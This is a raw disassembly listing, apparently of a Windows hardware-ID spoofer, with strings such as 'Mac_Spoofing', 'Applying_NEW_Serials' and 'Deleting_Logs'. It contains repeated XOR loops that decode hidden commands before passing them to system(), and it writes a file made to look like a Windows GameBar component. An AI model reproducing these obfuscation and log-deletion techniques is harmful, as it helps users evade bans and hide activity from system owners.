movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, edi
cmp esi, 2
jl 0x14004745b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140047350
cmp r8d, 0xa1
jge 0x1400474a3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140047470
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce4a8]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x1400ce4b8]
movups xmmword [rbp + 0x58], xmm1
movsd xmm0, qword [0x1400ce4c8]
movsd qword [rbp + 0x68], xmm0
mov eax, dword [0x1400ce4d0]
mov dword [rbp + 0x70], eax
movzx eax, word [0x1400ce4d4]
mov word [rbp + 0x74], ax
mov r8d, edi
cmp esi, 2
jl 0x140047625
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140047520
cmp r8d, 0x2e
jge 0x140047660
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140047630
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf730]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x1400cf740]
movups xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [0x1400cf750]
movups xmmword [rbp + 0x68], xmm0
movsd xmm0, qword [0x1400cf760]
movsd qword [rbp + 0x78], xmm0
movzx eax, word [0x1400cf768]
mov word [rbp + 0x80], ax
mov r8d, edi
cmp esi, 2
jl 0x1400477e5
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400476e0
cmp r8d, 0x3a
jge 0x140047820
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x1400477f0
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cf2e0]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x1400cf2f0]
movups xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [0x1400cf300]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x1400cf310]
movups xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [0x1400cf320]
movsd qword [rbp + 0x88], xmm0
mov eax, dword [0x1400cf328]
mov dword [rbp + 0x90], eax
movzx eax, word [0x1400cf32c]
mov word [rbp + 0x94], ax
mov r8d, edi
cmp esi, 2
jl 0x1400479c5
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x1400478c0
cmp r8d, 0x4e
jge 0x140047a00
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4e
jl 0x1400479d0
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce160]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x1400ce170]
movups xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [0x1400ce180]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x1400ce190]
movups xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [0x1400ce1a0]
movsd qword [rbp + 0x88], xmm0
mov eax, dword [0x1400ce1a8]
mov dword [rbp + 0x90], eax
movzx eax, word [0x1400ce1ac]
mov word [rbp + 0x94], ax
mov r8d, edi
cmp esi, 2
jl 0x140047ba5
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140047aa0
cmp r8d, 0x4e
jge 0x140047be0
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4e
jl 0x140047bb0
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.r_bocXSWNIgSZ]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x1400cf820]
movups xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [0x1400cf830]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x1400cf840]
movups xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [0x1400cf850]
movsd qword [rbp + 0x88], xmm0
mov eax, dword [0x1400cf858]
mov dword [rbp + 0x90], eax
movzx eax, word [0x1400cf85c]
mov word [rbp + 0x94], ax
mov r8d, edi
cmp esi, 2
jl 0x140047d95
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140047c90
cmp r8d, 0x4e
jge 0x140047dd0
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4e
jl 0x140047da0
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400cdbf0]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x1400cdc00]
movups xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [0x1400cdc10]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x1400cdc20]
movups xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [0x1400cdc30]
movsd qword [rbp + 0x88], xmm0
mov eax, dword [0x1400cdc38]
mov dword [rbp + 0x90], eax
movzx eax, word [0x1400cdc3c]
mov word [rbp + 0x94], ax
movzx eax, byte [0x1400cdc3e]
mov byte [rbp + 0x96], al
mov r8d, edi
cmp esi, 2
jl 0x140047f87
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140047e82
cmp r8d, 0x4f
jge 0x140047fd0
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4f
jl 0x140047fa0
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400cdbf0]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x1400cdc00]
movups xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [0x1400cdc10]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x1400cdc20]
movups xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [0x1400cdc30]
movsd qword [rbp + 0x88], xmm0
mov eax, dword [0x1400cdc38]
mov dword [rbp + 0x90], eax
movzx eax, word [0x1400cdc3c]
mov word [rbp + 0x94], ax
movzx eax, byte [0x1400cdc3e]
mov byte [rbp + 0x96], al
mov r8d, edi
cmp esi, 2
jl 0x140048187
comiss xmm1, xmm13
jbe 0x1400485ec
lea rcx, str.Successfully_Spoofed_
call fcn.140033080
movss xmm1, dword [0x140105934]
comiss xmm1, xmm11
jbe 0x140048606
lea rcx, str.Deleting_Logs...
call fcn.140033080
movss xmm1, dword [0x140105934]
comiss xmm1, xmm14
jbe 0x14004861c
mov dword [0x140105934], 0
mov dword [0x140105930], edi
cmp dword [0x14010593c], 0
je 0x1400489c7
cmp qword [0x140105590], 0
jne 0x14004864d
mov r8d, 0x102b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140105590]
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
movss xmm1, dword [0x140105948]
addss xmm1, xmm0
movss dword [0x140105948], xmm1
comiss xmm1, xmm7
jbe 0x14004868a
lea rcx, str.Mac_Spoofing
call fcn.140033080
movss xmm1, dword [0x140105948]
comiss xmm1, xmm12
jbe 0x14004897d
lea rcx, str.Applying_NEW_Serials...
call fcn.140033080
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
mov ecx, Ordinal_50
call fcn.1400ae754
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x260], reloc.WLDAP32.dll_Ordinal_33
mov qword [rbp + 0x268], Ordinal_50
movups xmm0, xmmword [str.C:WindowsGameBarPresenceWriter_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400cdaf0]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x1400cdb00]
mov byte [rax + 0x20], cl
mov byte [rax + 0x21], 0
lea rcx, [rbp + 0x250]
call fcn.140040660
lea rax, [rbp + 0x48]
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x50], rdi
mov qword [rbp + 0x58], 7
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov rax, qword [str.Mac.bat]
mov dword [rbp + 0x48], eax
movzx eax, word [0x1400cdb3c]
mov word [rbp + 0x4c], ax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbp + 0x4e], al
mov byte [rbp + 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 6
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov eax, dword [str.076267]
mov dword [rsp + 0x60], eax
movzx eax, word [0x1400cdb44]
mov word [rsp + 0x64], ax
mov byte [rsp + 0x66], 0
lea rdx, [rbp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.1400403c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400ce4a8]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [0x1400ce4b8]
movups xmmword [rbp + 0x58], xmm1
movsd xmm0, qword [0x1400ce4c8]
movsd qword [rbp + 0x68], xmm0
mov eax, dword [0x1400ce4d0]
mov dword [rbp + 0x70], eax
movzx eax, word [0x1400ce4d4]
mov word [rbp + 0x74], ax
mov r8d, edi
cmp esi, 2
jl 0x140048925
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140048820
cmp r8d, 0x2e
jge 0x140048960
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140048930
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movss xmm1, dword [0x140105948]
comiss xmm1, xmm13
jbe 0x140048997
lea rcx, str.Successfully_Spoofed_
call fcn.140033080
movss xmm1, dword [0x140105948]
comiss xmm1, xmm11
jbe 0x1400489b1
lea rcx, str.Deleting_Logs...
call fcn.140033080
movss xmm1, dword [0x140105948]
comiss xmm1, xmm14
jbe 0x1400489c7
mov dword [0x140105948], 0
mov dword [0x14010593c], edi
cmp dword [0x1401055a8], 1
jne 0x140048c58
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
addss xmm1, dword [0x1400cfa78]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, dword [0x1400cf9e0]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
lea rcx, str.Instructions
call fcn.140033080
mov rax, qword [rbp + 0x160]
mov rcx, rax
mov qword [rbp + 0x3f0], rax
mov rdi, qword [0x140105590]
mov rbx, rax
test rax, rax
jne 0x140048a9d
mov rcx, qword [rdi + 0x68]
mov rbx, rcx
test rcx, rcx
jne 0x140048a96
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x140048a8c
mov r8d, 0x70b
